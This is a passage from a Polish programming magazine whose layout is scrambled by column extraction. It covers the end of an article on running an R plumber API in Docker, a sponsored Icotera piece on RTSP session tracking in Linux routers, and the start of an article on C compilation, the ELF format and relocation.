zu z dowolnego repozytorium można go dalej rozszerzyć o kolejne rzystania przy tworzeniu kontenera. Jednak zanim pokażę, jak to zro-
warstwy. I to właśnie będziemy tu robić – rozszerzać zaimportowa- bić, muszę omówić jeszcze jedną kwestię, bo...
ny obraz ze standardową konfiguracją dystrybucji Ubuntu o kolejne
warstwy. To, że nie wskazujemy w żaden sposób źródła, z którego ob-
…PRZECIEŻ MIAŁO BYĆ PROŚCIEJ…
raz ten pobieramy, oznacza, że korzystamy ze standardowego repo-
zytorium obrazów Dockera, w którym znaleźć można ogromną ilość No właśnie. W poprzednim akapicie pokazałem jedynie, jak „opa-
różnorakich konfiguracji, w wielu przypadkach gotowych do użycia, kować” kontenerem instalację, którą wykonaliśmy wcześniej bezpo-
z różnego rodzaju oprogramowaniem (zobacz [Link] średnio w systemie Ubuntu. Już to wprawdzie przydaje się do zaadre-
search?q=&type=image). sowania różnego rodzaju wymogów (np. skalowanie, wyizolowanie
konfiguracji itp.), jednak wcześniej wspomniałem, że dzięki Docke-
1.  Po tortach, cebuli i ograch obrazy kontenerów Dockera są kolejną rzeczą, która ma warstwy. ;-) rowi można zadanie, które tu sobie postawiliśmy, zrealizować dużo

<20> {  3 / 2021 < 97 >  }


/ REST API w języku R – rozwiązania i pułapki /

prościej – a konkretnie bez rozwiązywania wszystkich problemów


CO DALEJ?
wynikających z tego, że standardowe repozytoria pakietów systemu
Ubuntu nie zawierają aktualnych wersji pakietu r-base. Oczywiście dotarcie do takiego etapu, jak opisany w tym artykule, jesz-
Kluczem do uproszczenia jest fakt, że Docker pozwala skorzystać cze nie oznacza, że tak przygotowane API można umieścić w środo-
z już gotowego obrazu, w którym pakiet r-base zainstalowany jest wisku produkcyjnym (na serwerze lub w chmurze). Z technicznego
w najnowszej wersji – opis tego obrazu możemy odnaleźć na stronie punktu widzenia tak przygotowany obraz kontenera wysyła się zwy-
[Link] Teraz zamiast zaczynać budowanie kle do prywatnego repozytorium obrazów kontenerów (np. takiego
naszego obrazu kontenera od poziomu odpowiadającemu „czyste- jak instancje repozytorium utworzone w Elastic Container Registry
mu” systemowi świeżo po instalacji, możemy zacząć od poziomu, na w AWS), z którego dopiero trafia on na środowisko produkcyjne,
którym mamy już zainstalowane całe środowisko języka R. Nasz plik a same operacje tego typu nie są skomplikowane i zwykle wystarczą
Dockerfile upraszcza się wtedy do następującej postaci: pojedyncze wywołania polecenia docker z różnymi parametrami,
aby to przeprowadzić.
Listing 5. Dockerfile po uproszczeniu
Otwarte pozostają jednak jeszcze inne kwestie, które są istotne
FROM r-base dla bezpieczeństwa całego rozwiązania, jak i dla jego efektywności,
RUN mkdir -p /usr/local/src/myscripts
WORKDIR /usr/local/src/myscripts jak chociażby:
ENV DEBIAN_FRONTEND=noninteractive » przygotowanie i przeprowadzenie testów naszego API,
RUN apt-get update && apt-get install -y \
libcurl4-openssl-dev libsodium-dev » szyfrowanie komunikacji z API w protokole HTTPS,
RUN R -e "[Link]('plumber')"
COPY . /usr/local/src/myscripts
» autoryzacja i uwierzytelnianie klientów API,
EXPOSE 8000 » zabezpieczenie kontenera i maszyny utrzymującej kontenery –
ENTRYPOINT ["Rscript", "server.R"]
wyłączenie niepotrzebnych portów, update software’u zainstalo-
Jak widzimy, uproszczenie jest znaczne, a co najważniejsze, gdyby- wanego w kontenerze, wykrywanie skanowania portów itp.,
śmy zaczynali od takiego podejścia, nie byłoby konieczne szukanie » automatyzacja aktualizacji API oraz związanych z takimi aktu-
rozwiązań wszystkich problemów, które opisałem wyżej – oczywiście alizacjami testów,
nie uniknęlibyśmy wszystkich, ale i tak czas poświęcony na konfigu- » logowanie i monitorowanie ruchu sieciowego do API,
rację byłby kilkukrotnie mniejszy niż w przypadku instalowania pa- » load balancing i skalowanie rozwiązania w zależności od natę-
kietu r-base „od zera” w systemie Ubuntu. żenia zapytań,
Zobaczmy teraz, jak utworzyć nasz kontener i uruchomić API. » wersjonowanie samego modelu (wag modelu) uczenia maszyno-
wego i rozwiązanie kwestii przechowywania pliku z modelem2.

TWORZENIE KONTENERA
Tych zagadnień nie będę już poruszał w tym artykule, a wspominam
Przy tworzeniu/uruchamianiu kontenera (niezależnie od tego, który o nich tylko dlatego, aby nie powstało mylne wrażenie, że po utwo-
obraz opisany wyżej zastosujemy) nie ma już kolejnych pułapek, o ile rzeniu kontenera zawierającego wytrenowany model można uznać
pamiętamy o właściwym przypisaniu portów: port, na którym nasłu- projekt za ukończony – zwykle jest to jedynie zamknięcie pewnego
chuje nasze API, musi zostać połączony z portem interfejsu siecio- etapu projektu, a droga do ostatecznego zakończenia prac może być
wego kontenera. Docker umożliwia takie przypisanie przy pomocy jeszcze długa i nie taka prosta, jak mogłoby się wydawać. Jest to jed-
opcji -p lub --publish. Ponadto przy uruchamianiu kontenera do- nak zwykle zadanie dla osób, które nie specjalizują się w uczeniu ma-
brą praktyką, zwłaszcza w fazie developmentu i testów, jest stosowanie szynowym, a w utrzymaniu systemów.
parametru --rm, dzięki któremu Docker automatycznie usuwa kon-
2.  W podanym tu przykładzie plik zawierający dane modelu został włączony do obrazu kontenera,
tener po zakończeniu wykonywania zawartego w nim kodu. Dzięki ale dobra praktyka jest taka, że powinno się go przechowywać w innym miejscu i pobierać za każ-
dym razem, gdy kontener jest tworzony z obrazu. Pozwala to modyfikować model bez konieczności
temu oszczędzamy trochę czasu, który inaczej trzeba by poświęcić na modyfikacji całego obrazu – wystarczy tylko zaktualizować plik zawierający sam model i utworzyć
kontener na nowo, co jest zwykle dużo szybsze niż tworzenie obrazu kontenera.
usuwanie zatrzymanych kontenerów z pamięci.
Ostatecznie nasz kontener możemy uruchomić poleceniem:

docker run --publish 8000:8000 --rm kontenerr

Po chwili powinniśmy zobaczyć komunikaty oznaczające, że nasze PIOTR SZAJOWSKI


API zaczęło funkcjonować: [Link]@[Link]
Autor pracuje jako Senior Data Scientist we wro-
Running plumber API at [Link]
Running swagger Docs at [Link] cławskim Capgemini Software Solution Center,
w tamtejszym AI Center of Excelence. Oprócz
pracy w projektach dla klientów tej firmy, głównie
Pytanie: jak teraz wywołać i przetestować nasze API? Okazuje się, że dużych zachodnich koncernów produkcyjnych,
wystarczy skopiować podany w drugim z tych komunikatów URL do zajmuje się rozwijaniem kompetencji zespołu
przeglądarki pracującej w systemie, w którym działa nasz kontener w obszarze AI: prowadzi program praktyk, jest
opiekunem pomocniczym realizowanego w
(czyli w systemie Ubuntu), a będziemy mogli testować API przez
dziale doktoratu wdrożeniowego, a także szkoli
Swagger UI, tak jak poprzednio robiliśmy to w systemie Windows. z różnych zakresów wiedzy związanej ze sztuczną
Jeśli wszystko zadziała dobrze – nasze zadanie jest ukończone. inteligencją i jej zastosowaniami.

{  [Link]  } <21>
Paweł Sitarz

ICOTERA

SESJA W ROUTERZE
ne połączenia TCP zostanie usunięte i klient nie będzie mógł
Router, scenariusz użycia
wznowić odtwarzania strumienia danych.
Każdy dobrze zna problem ograniczonej puli adresów IP w pro- Limit czasu dla zestawionych połączeń TCP jest określany
tokole wersji 4. Aby temu zapobiec, potrzebne są nam routery, przez parametr nf_conntrack_tcp_timeout_established,
które będą przekształcać nasz publiczny adres IP na lokalny a odliczanie do zera odbywa się w sekundach:
adres IP danego urządzenia. Dzięki temu możemy podłączyć
do sieci Internet wiele urządzeń i obejść ograniczenia związa- # cat /proc/sys/net/netfilter/

ne z protokołem IPv4. nf_conntrack_tcp_timeout_established

Jednocześnie ograniczenie to sprowadza na router wiele 432000

innych problemów, z którymi należy sobie poradzić. Jednym


z nich jest transmisja danych w czasie rzeczywistym, np. wide- Łatwo sobie policzyć, że dla każdego nieużywanego połącze-
okonferencji, filmów itp., za pomocą protokołów RTSP/RTP. nia TCP zostało 12 godzin do momentu usunięcia wpisu z ta-
Pokrótce wspomnę, że protokół RTSP jest odpowiedzialny blicy zestawionych połączeń.
za sterowanie transmisją danych, natomiast protokół RTP za 12 godzin to wystarczająco dużo czasu na wznowienie
transmisję danych, między innymi audio i video. odtwarzania np. wideokonferencji. Jeżeli użytkownik przed
Aby rozpocząć odtwarzanie strumienia danych, w pierw- upływem czasu nie wznowił odtwarzania strumienia, to moż-
szej kolejności nasz klient, za pomocą protokołu RTPS, na- na uznać, że o tym zapomniał, i zakończyć połączenie TCP
wiązuje połączenie TCP z serwerem RTSP. Pomiędzy klientem z serwerem RTSP.
i serwerem zostają wymienione dane potrzebne do odtworze- W naszych routerach nie możemy polegać na parametrze
nia konkretnego strumienia danych. Po stronie serwera jest nf_conntrack_tcp_timeout_established, ponieważ jego
tworzona sesja z unikalnym numerem, z którym będzie koja- wartość może zostać zmieniona przez dostawcę Internetu
rzony nasz klient. Dzięki temu klient będzie mógł, za pomocą na wartość np. 3600 sekund. W tym przypadku wstrzymanie
żądania PAUSE, zatrzymać, odtworzyć (PLAY) lub poprawnie strumienia danych na dłużej niż 1 godzinę spowoduje zerwa-
zakończyć (TEARDOWN) odtwarzanie strumienia danych. nie połączenia z serwerem RTSP, przez co użytkownik nie
będzie mógł wznowić strumienia audio i video od momentu,
w którym wcześniej go zatrzymał.
Problem: zakończenie sesji po żądaniu PAUSE
Dla podtrzymania sesji z serwerem RTSP dokumentacja pro-
Problem pojawia się po zatrzymaniu transmisji danych na tokołu RTSP proponuje wysłanie jakiegokolwiek pakietu typu
dłuższą chwilę. Do serwera RTSP zostaje wysłane żądanie żądanie z serwera do klienta. Może być to na przykład żądanie
PAUSE, które powoduje wstrzymanie przesyłu danych po GET_PARAMETER, które będzie zawierało w sobie puste pola. Za-
protokole RTP. Przez połączenia TCP nie są przesyłane żadne daniem takiego pakietu będzie sprawdzenie, czy serwer otrzyma
pakiety, przez co staje się nieaktywne. W routerze, a dokład- odpowiedź od klienta. Jeżeli klient odpowie, sesja będzie dalej
niej w jądrze Linuxa, tego typu połączenia mają określony czas podtrzymywana i limit czasu dla zestawionego połączenia TCP
istnienia. Jeżeli ten czas zostanie przekroczony, to nieaktyw- zostanie zresetowany do wartości z parametru nf_conntrack_

{  MATERIAŁ INFORMACYJNY  }
tcp_timeout_established. W naszej sytuacji rozwiązanie nie wyszukany obiekt, który jest przypisany dla sesji RTSP tego
jest do końca właściwe. Po pierwsze – nie każdy serwer RTSP wy- klienta. Dane z obiektu zostaną przekształcone na pakiet TCP
syła tego typu żądania. Po drugie – puste żądania mogą być wy- protokołu RTSP i taki pakiet zostanie przekierowany do ser-
syłane w dłuższych odstępach czasu niż to zostało przewidziane wera RTSP. Serwer RTSP odbierze, przetworzy pakiet i wzno-
w parametrze nf_conntrack_tcp_timeout_established. wi transmisję danych.
Mając takie rozwiązanie, nie musimy przejmować się limi-
tem czasu dla połączenia TCP. Gdy klient zatrzyma transmisję
Nasze antidotum: Moduł Conntrack RTSP
danych i upłynie czas dla połączenia TCP, sesja z serwerem
Rozwiązaniem jest stworzenie bazy danych w routerze (a do- RTSP będzie dalej utrzymywana, ponieważ zawieramy wszyst-
kładniej w module RTSP), w którym będą przechowywane kie dane w wyżej opisanym obiekcie. Serwer RTSP nie wie
wszystkie sesje RTSP. Moduł nf_conntrack_rtsp będzie wy- o tym, że na naszym routerze minął czas dla połączenia TCP,
woływany w jądrze Linuxa i będzie analizował każdy pakiet i dalej będzie utrzymywał sesję z klientem do momentu otrzy-
warstwy sieciowej: mania żądania TEARDOWN, które zakończy sesję.

# lsmod
Podsumowanie
nf_nat_rtsp 7843 0 - Live 0xc0532000 (O)
nf_conntrack_rtsp 9141 1 nf_nat_rtsp, Live Wielu z nas zna to uczucie, kiedy po ciężkim dniu chce się
0xc0526000 (O) usiąść wygodnie i odsapnąć przy ulubionym filmie/serialu
na Netflixie/Amazonie/HBO czy innym podobnym serwisie.
Gdy podłączony do routera klient będzie chciał uruchomić Wszystko jest gotowe: napój, popcorn – odpalamy strumień
nową transmisję danych, w module RTSP zostaną przechwy- i… widzimy wrednego throbbera, bo router nie wyrabia z ob-
cone pakiety protokołu RTSP. Następnie moduł RTSP będzie sługą wszystkich urządzeń, które w tym samym czasie próbują
sprawdzał typ żądania pakietu z protokołu RTSP. Jeżeli będzie dobić się do Internetu. I wtedy myślimy: Potrzymajcie piwo,
to żądanie SETUP, zostanie utworzony nowy obiekt, a w nim gdzie jest kod routera… Ja zrobię to lepiej!
zostaną zapisane parametry sesji. Będą one aktualizowane na Otóż w Icotera rozwiązywanie takich problemów jest co-
bieżąco do momentu, aż klient zakończy żądaniem TEAR- dziennością. Naszą misją jest tworzenie najlepszych urządzeń
DOWN odtwarzanie transmisji danych lub zerwie połączenie sieciowych na rynku. Szczycimy się tym, że nasze urządzenia
TCP z serwerem RTSP. oferowane są przez największych dostawców Internetu w Eu-
Przypuśćmy teraz, że klient zatrzyma transmisję na dłuż- ropie i dystansują produkty wielu innych i dużo większych
szą chwilę. Po pewnym czasie nieaktywne połączenie TCP firm. Pracujemy nieustannie, aby każdy mógł się cieszyć do-
zostanie usunięte z jądra Linuxa, a dokładniej z tablicy nieak- skonałym dostępem do Internetu w domu i aby throbbery po-
tywnych połączeń TCP. Po tym zdarzeniu klient będzie chciał szły w zapomnienie.
wznowić transmisję danych. W module RTSP zostanie prze- Brzmi fajnie? Rewelacja! Nie czekaj zatem i czym prędzej
chwycone żądanie PLAY. Na podstawie tego żądania zostanie aplikuj do nas przez stronę: [Link]

{  MATERIAŁ INFORMACYJNY  }
PROGRAMOWANIE SYSTEMOWE

Jak program staje się procesem


Program zapisany na dysku nie jest użyteczny sam w sobie. Najpierw musi trafić do pamięci
komputera, z której jego instrukcje będą pobierane i wykonywane na przydzielonym proce-
sorze. Wykonywany program wraz ze swoim stanem, tj. przestrzenią adresową, zawartością
rejestrów procesora, stosem itd., nazywany jest procesem.

W tym artykule prześledzimy, jak program napisany w języku C


staje się procesem. Rozpoczniemy od jego kompilacji, następ-
nie przeanalizujemy format, w jakim jest przechowywany na dysku,
Preprocessing to faza, w której działa preprocesor. Zadaniem
preprocesora jest przetworzenie kodu źródłowego przed kompilacją.
W przypadku prog1 jego rola sprowadza się do przetworzenia dyrek-
a zakończymy, przyglądając się jego ładowaniu przez system opera- tywy #include, czyli wklejenia zawartości jednego pliku w inny. Efekt
cyjny i uruchomieniu. pracy preprocesora można podejrzeć, wydając polecenie z Listingu 4.

Listing 4. Polecenie spowoduje wyświetlenie efektów pracy preprocesora


PRZYKŁADOWY PROGRAM $ gcc -E main.c f.c

Żeby nie wprowadzać niepotrzebnych komplikacji do i tak niełatwe-


go zadania analizy cyklu życia programu, za przykład posłuży prosty Kompilacja polega na zamianie tekstu programu na język asemblera
program składający się z dwóch plików main.c oraz f.c, których za- danego procesora. Wysokopoziomowe konstrukcje są zamieniane na
wartość zaprezentowano w Listingu 1 oraz Listingu 2. instrukcje procesora w formie mnemoników, a utworzony kod jest
w dalszym ciągu czytelny dla programisty. Efekt pracy asemblera
Listing 1. Plik main.c
można podejrzeć, wydając polecenie z Listingu 5, a następnie listując
extern int f(int x); zawartość plików.
int main(int argc, char *argv[]) {
return f();
Listing 5. Polecenie spowoduje utworzenie plików main.s oraz f.s
}
$ gcc -S main.c f.c
Listing 2. Plik f.c

#include <stdio.h>
int f(void) { Asemblacja to zmiana programu w asemblerze na instrukcje binarne.
return getchar(); Wynik asemblacji trafia do tzw. pliku obiektowego. Wydając polece-
}
nie z Listingu 6, zostaną utworzone dwa pliki relokowalne (typ pli-
Program po uruchomieniu czeka na pojawienie się dowolnego znaku ku obiektowego). Ich zawartość można oglądać przy użyciu narzędzi
na standardowym wejściu, po czym kończy swoją pracę, zwracając readelf lub objdump.
kod odczytanego znaku lub EOF (End of File) w przypadku błędu lub
Listing 6. Polecenie spowoduje utworzenie plików relokowalnych main.o oraz f.o
końca pliku. Program należy skompilować poleceniem z Listingu 3.
$ gcc -c main.c f.c
Listing 3. Komenda kompilacji programu

$ gcc main.c f.c -no-pie -static -o prog1 Ostatnim etapem jest linkowanie. Zadaniem linkera jest zebranie pli-
ków relokowalnych w całość i utworzenie biblioteki współdzielonej
Flaga -static spowoduje, że GCC utworzy program statyczny, tj. taki, bądź pliku wykonywalnego. Tematu bibliotek współdzielonych nie
który zawiera już wszystkie potrzebne funkcje biblioteczne w sobie. będziemy zgłębiać, a o relokacji będzie mowa w dalszej części artyku-
Będzie przez to większy, ale proces ładowania do pamięci operacyj- łu. Efektem pracy linkera jest plik wykonywalny (Listing 3).
nej znacznie się uprości. Na przykład pominięte zostanie linkowanie
dynamiczne, czyli program zostanie uruchomiony bez udziału [Link]
FORMAT ELF
(man [Link]). Flaga -no-pie (PIE – Position Independent Executable)
spowoduje, że kod wygenerowany przez GCC będzie musiał znaleźć się ELF jest formatem plików obiektowych, jednym z wielu dostępnych,
pod wybranym przez linker adresem w pamięci. Jeśli stałoby się inaczej, jednak chyba najbardziej popularnym ze względu na oferowane moż-
to program stosunkowo szybko zakończyłby swoje działanie, ponieważ liwości. Pliki obiektowe to pliki zawierające oprócz kodu programu
adresy bezwzględne występujące jawnie w kodzie nie wskazywałyby na dodatkowe dane, użyteczne dla linkera, systemu operacyjnego czy
poprawne miejsca w pamięci. Innymi słowy, poprawność działania pro- debuggera – zależnie od aktualnych potrzeb.
gramu jest [Link]. determinowana przez jego położenie w pamięci. A czy kodu nie można tak po prostu zacząć wykonywać, bez
Kompilacja programu to w zasadzie skrót myślowy. W istocie żadnego przygotowania? Gdyby wszystkie projekty składały się
proces zamiany postaci tekstowej programu na plik wykonywalny z pojedynczego pliku źródłowego, programy byłyby linkowane wraz
składa się z etapów. Są to preprocessing, kompilacja, asemblacja i lin- ze wszystkimi zależnościami, nie istniałyby biblioteki statyczne ani
kowanie – zawsze w tym porządku. współdzielone, a systemy operacyjne składałyby się wyłącznie z nie-

<24> {  3 / 2021 < 97 >  }


/ Jak program staje się procesem /

skończonej pętli, to na zadane pytanie być może dałoby się odpowie- b: 48 89 75 f0 mov %rsi,-0x10(%rbp)
dzieć twierdząco. f: e8 00 00 00 00 call 14 <main+0x14>
14: c9 leave
Format ELF został pomyślany tak, żeby był możliwie ogólny 15: c3 ret
oraz niezależny od platformy sprzętowej. Ma on nieskomplikowaną
strukturę i jest łatwo rozszerzalny. Służy do opisu aplikacji systemo- Patrząc od lewej, kolorem pomarańczowym został zaznaczony opco-
wych, bibliotek statycznych i współdzielonych, plików obiektowych, de instrukcji skoku, tj. 0xe8. Kolejne 4 bajty, zaznaczone na niebie-
powstałych w wyniku kompilacji źródeł projektu, zrzutów pamięci sko, przeznaczone są na argument. Procesor interpretuje tę wartość
i innych. Wyróżnia się trzy typy plików obiektowych. jako offset względem następnej instrukcji, o który trzeba przesunąć
Pierwszy typ to tzw. plik relokowalny, który zawiera kod i dane licznik programu (PC), wykonując skok. Aktualnie znajdują się tam
potrzebne przy linkowaniu z innymi plikami obiektowymi, co w re- zera, ponieważ asembler nie znalazł nic na temat f(). Wykonanie in-
zultacie prowadzi do utworzenia pliku wykonywalnego albo obiektu strukcji w takiej formie spowodowałoby skok do adresu 0x14 i wyko-
współdzielonego. W skrócie, relokacja to dopasowywanie odwołań do nanie leave. Przechodząc do prawej kolumny, widzimy, że kolorowe
symboli występujących w programie do rzeczywistego ich umiejsco- bajty objdump zastąpił mnemonikiem wraz z argumentem, który po-
wienia. W dalszej części artykułu wrócimy jeszcze do tematu relokacji. krywa się z tym wyliczonym przez nas.
Kolejnym typem jest plik współdzielony z kodem i danymi nada- Następnie przechodzimy do deasemblacji programu prog1, żeby
jący się do linkowania w dwóch scenariuszach. Pierwszy dotyczy sy- zaobserwować, jak relokacja wpłynęła na kod programu. W Listingu 9
tuacji, kiedy linker połączy go wraz z innymi plikami relokowalnymi znajdują się wyniki deasemblacji funkcji odpowiednio main() oraz f().
bądź współdzielonymi i powstanie z tego nowy plik obiektowy. Drugi
Listing 9. Wynik deasemblacji funkcji main() oraz f()
scenariusz natomiast występuje, kiedy dynamiczny linker wspomaga
system operacyjny w ładowaniu zależności pliku wykonywalnego. $ objdump --disassemble=main prog1

Ostatnim typem jest plik wykonywalny, czyli taki, który system prog1: file format elf64-x86-64

operacyjny umieszcza w pamięci i uruchamia, dlatego też dalsze roz- Disassembly of section .init:
Disassembly of section .plt:
ważania dotyczące ELF oprzemy właśnie na nim. Disassembly of section .text:

00000000004017e5 <main>:
4017e5: 55 push %rbp
Przykład prostej relokacji 4017e6: 48 89 e5 mov %rsp,%rbp
4017e9: 48 83 ec 10 sub $0x10,%rsp
4017ed: 89 7d fc mov %edi,-0x4(%rbp)
Co prawda mechanizm relokacji nie jest bezpośrednio tematem ar- 4017f0: 48 89 75 f0 mov %rsi,-0x10(%rbp)
tykułu, ale jest na tyle ważny, że mimo wszystko warto, przynajmniej 4017f4: e8 02 00 00 00 call 4017fb <f>
4017f9: c9 leave
ogólnie, prześledzić jego sposób działania. W tym celu posłużymy się 4017fa: c3
źródłami programu z dwóch pierwszych listingów. $ objdump --disassemble=f prog1
Stwórzmy pliki obiektowe oraz wynikowy, używając poleceń z Li- prog1: file format elf64-x86-64
stingu 7.
Disassembly of section .init:
Disassembly of section .plt:
Listing 7. Asemblacja oraz generowanie pliku wykonywalnego Disassembly of section .text:

$ gcc -c main.c f.c 00000000004017fb <f>:


$ gcc main.o f.o -no-pie -static -o prog1 4017fb: 55 push %rbp
$ ls 4017fc: 48 89 e5 mov %rsp,%rbp
f.c f.o main.c main.o prog1* 4017ff: e8 9c ad 00 00 call 40c5a0 <getchar>
401804: 5d pop %rbp
401805: c3 ret

Preprocessing, asemblacja oraz kompilacja przebiega na każdym z pli-


ków osobno. W związku z tym na żadnym z tych etapów nie wia- Zauważamy, że linker uzupełnił zera liczbą 0x02, co oznacza, że pod-
domo, skąd zabrać funkcję f() wywoływaną w main(). Dlatego jeśli czas wykonywania programu należy skoczyć do adresu 0x4017f9 +
akurat potrzebny symbol nie znajduje się w obrębie przetwarzanego 0x02 = 0x4017fb, gdzie rozpoczyna się kod funkcji f().
pliku, dodawana jest informacja o przyszłej relokacji. Do analizy me- Skąd linker wiedział, jak należy uaktualnić adresy w pliku wyni-
chanizmu relokacji funkcji f() posłużymy się programem objdump. kowym? Otóż podczas asemblacji pliku main.c do pliku obiektowego
Analizę rozpoczniemy od deasemblacji funkcji main(), wydając zostały dodane informacje dotyczące relokacji, między innymi takie
polecenie z Listingu 8. jak offset w bajtach względem początku sekcji kodu, jej typ czy nazwa
symbolu, której treść znajduje się w Listingu 10.
Listing 8. Deasemblacja funkcji main()
Listing 10. Relokacja dotycząca funkcji f()
$ objdump --disassemble=main main.o

main.o: file format elf64-x86-64 $ readelf -r main.o

Disassembly of section .text: Relocation section '.[Link]' at offset 0x190 contains 1 entry:

Offset Info Type Sym. Value Sym. Name+ Addend


0000000000000000 <main>:
000000000010 000500000004 R_X86_64_PLT32 0000000000000000 f - 4
0: 55 push %rbp
1: 48 89 e5 mov %rsp,%rbp
4: 48 83 ec 10 sub $0x10,%rsp
8: 89 7d fc mov %edi,-0x4(%rbp)

{  [Link]  } <25>
PROGRAMOWANIE SYSTEMOWE

Typ relokacji, zawsze zależny od architektury procesora, określa, pierwsza instrukcja po załadowaniu do pamięci znajdzie się pod ad-
jak należy wyliczyć argument instrukcji, w naszym przypadku jest resem 0x4016c0. Znaczenia wielu pozycji z listy można się domyślić.
to call. Dla typu R_X86_64_PLT32 będzie to wyrażenie L + A - P. Niektóre z nich, jak sekcje czy segmenty będące podstawowym bu-
L to adres funkcji f(), tj. 0x4017fb. A to stała, którą należy dodać dulcem pliku ELF, wymagają komentarza.
do adresu funkcji f() równa -4. P to adres miejsca, które należy Sekcje występują w plikach relokowalnych i bibliotekach współ-
zmienić. U nas będzie to początek main() przesunięty o offset 0x10. dzielonych. Są opcjonalne w przypadku plików wykonywalnych. In-
Podstawiając wartości do wyrażenia, obliczamy 0x4017fb + (-0x04) terpretacja ich zawartości jest zależna od przypisanego im typu. Jed-
- (0x4017e5 + 0x10) = 0x02. Na tym etapie zakończymy dygresję do- ne będą składały się z nazw występujących w pliku (typ SHT_STRTAB),
tyczącą relokacji, bo ten szeroki temat nadaje się na osobny artykuł. inne będą zawierały informacje dotyczące relokacji (typ SHT_REL),
a jeszcze inne będą tylko sygnalizowały potrzebę utworzenia miejsca
w przestrzeni adresowej procesu (typ SHT_NOBITS). Spis wszystkich
Format ELF
sekcji jest przechowywany w formie tablicy (Section Header Ta-
Ogólną postać pliku ELF zaprezentowano na Rysunku 1. ble), która składa się ze struktur Elf64_Shdr lub Elf32_Shdr – po
jednym dla każdej istniejącej sekcji. Offset do pierwszej (Start of
section headers) oraz ilość (Number of section headers) znaj-
dują się w nagłówku pliku. W Listingu 12 wymienionych jest kilka
przykładowych.
Sekcja .shstrtab (Section Header String Table), jak sugeruje na-
zwa, zawiera listę nazw sekcji. Nazwy sekcji to zakończone znakiem
NUL łańcuchy znaków. Sekcja .strtab (String Table) jest takiego
samego typu jak poprzednia, jednak w odróżnieniu do niej zawiera
nazwy symboli występujących w pliku. Zawartość dowolnej sekcji
typu SH_STRTAB można podejrzeć, wydając polecenie readelf -p
<section name>. Sekcje .text, .rodata oraz .data zawierają odpo-
wiednio instrukcje programu, zmienne do odczytu oraz zmienne do
odczytu i zapisu. Sekcja .bss jest o tyle ciekawa, że w pliku obiekto-
wym nie zajmuje ona miejsca. Jej obecność to sygnał dla kernela, jak
dużo pamięci wypełnionej zerami trzeba zaalokować na niezainicja-
lizowane zmienne globalne oraz statyczne. Jeśli na przykład w kodzie
programu pojawia się niezainicjalizowana zmienna statyczna, to asem-
Rysunek 1. Format ELF
bler umieści ją właśnie w tej sekcji. .symtab (Symbol Table) to z kolei
sekcja opisująca, gdzie w pliku znajduje się tablica symboli. Każdy
Każdy plik obiektowy rozpoczyna się od nagłówka, który znajduje się element tej tablicy jest typu Elf64_Sym lub Elf32_Sym.
zawsze pod offsetem 0. Informacje zawarte w nagłówku prog1 poka- Listing sekcji jest przedstawiony w formie tabelarycznej. Kolum-
zano w Listingu 11. na [Nr] oznacza numer porządkowy sekcji. Name to nazwa sekcji.
Nazwy sekcji odczytywane są z .shstrtab. Type określa, jaki typ
Listing 11. Nagłówek ELF programu prog1
danych sekcja przechowuje. Jeśli sekcja trafi do pamięci, to wartość
$ readelf -h prog1 wpisana w kolumnie Address określa adres w pamięci. Off i Size to
ELF Header:
Magic: 7f 45 4c 46 02 01 01 03 00 00 00 00 00 00 00 00 odpowiednio offset względem początku pliku oraz wielkość wyrażo-
Class: ELF64 na w bajtach. Kolumna ES dotyczy sekcji składających się ze struktur
Data: 2’s complement, little endian
Version: 1 (current) o jednakowym rozmiarze. Może być to na przykład sekcja zawiera-
OS/ABI: UNIX - GNU
ABI Version: 0
jąca symbole. W wierszu rozpoczynającym się od 29 w omawianej
Type: EXEC (Executable file) kolumnie jest wpisana liczba 0x18, czyli dokładnie tyle, ile zajmuje
Machine: Advanced Micro Devices X86-64
Version: 0x1 struktura opisująca symbol (Elf64_Sym). Kolumna Flg to zestaw
Entry point address: 0x4016c0 flag. Na przykład wartość WA (kombinacja Write, Alloc) oznacza,
Start of program headers: 64 (bytes into file)
Start of section headers: 795048 (bytes into file) że sekcja będzie zajmowała miejsce w pamięci procesu i będzie moż-
Flags: 0x0 na ją modyfikować. Interpretacja Flg oraz Lk zależy od typu sekcji.
Size of this header: 64 (bytes)
Size of program headers: 56 (bytes) Al (Alignment) oznacza, że jeśli sekcja znajdzie się w pamięci, to jej
Number of program headers: 10 adres powinien być wyrównany do tej wartości. Na przykład dla sek-
Size of section headers: 64 (bytes)
Number of section headers: 32 cji .data wartość 32 oznacza, że adres sekcji musi być wielokrotno-
Section header string table index: 31 ścią tej liczby.
Sekcje w plikach ELF składają się na segmenty. Są one wykorzy-
Przechodząc po poszczególnych liniach, dowiadujemy się między in- stywane przez kernel na etapie tworzenia obrazu procesu w pamięci.
nymi, że plik jest wykonywalny (EXEC), skompilowany dla procesora Tak jak w przypadku sekcji, do każdego segmentu jest przypisany
o architekturze x86-64 (Advanced Micro Devices X86-64), którego nagłówek programu (Program Header). Nagłówki są trzymane w po-

<26> {  3 / 2021 < 97 >  }


/ Jak program staje się procesem /

Listing 12. Przykłady sekcji w prog1

$ readelf -WS prog1


There are 32 section headers, starting at offset 0xc21a8:

Section Headers:
[Nr] Name Type Address Off Size ES Flg Lk Inf Al
[ 7] .text PROGBITS 00000000004010e0 0010e0 07ff90 00 AX 0 0 16
[10] .rodata PROGBITS 0000000000482000 082000 01c124 00 A 0 0 32
[21] .data PROGBITS 00000000004ae0e0 0ad0e0 001a50 00 WA 0 0 32
[25] .bss NOBITS 00000000004b0300 0af2f0 0018a0 00 WA 0 0 32
[29] .symtab SYMTAB 0000000000000000 0b04c8 00b268 18 30 732 8
[30] .strtab STRTAB 0000000000000000 0bb730 006920 00 0 0 1
[31] .shstrtab STRTAB 0000000000000000 0c2050 000157 00 0 0 1

Listing 13. Lista segmentów prog1

$ readelf -Wl prog1

Elf file type is EXEC (Executable file)


Entry point 0x4016c0
There are 10 program headers, starting at offset 64

Program Headers:
Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align
LOAD 0x000000 0x0000000000400000 0x0000000000400000 0x000538 0x000538 R 0x1000
LOAD 0x001000 0x0000000000401000 0x0000000000401000 0x080b3d 0x080b3d R E 0x1000
LOAD 0x082000 0x0000000000482000 0x0000000000482000 0x026b75 0x026b75 R 0x1000
LOAD 0x0a9908 0x00000000004aa908 0x00000000004aa908 0x0059e8 0x0072b8 RW 0x1000
NOTE 0x000270 0x0000000000400270 0x0000000000400270 0x000040 0x000040 R 0x8
NOTE 0x0002b0 0x00000000004002b0 0x00000000004002b0 0x000044 0x000044 R 0x4
TLS 0x0a9908 0x00000000004aa908 0x00000000004aa908 0x000020 0x000060 R 0x8
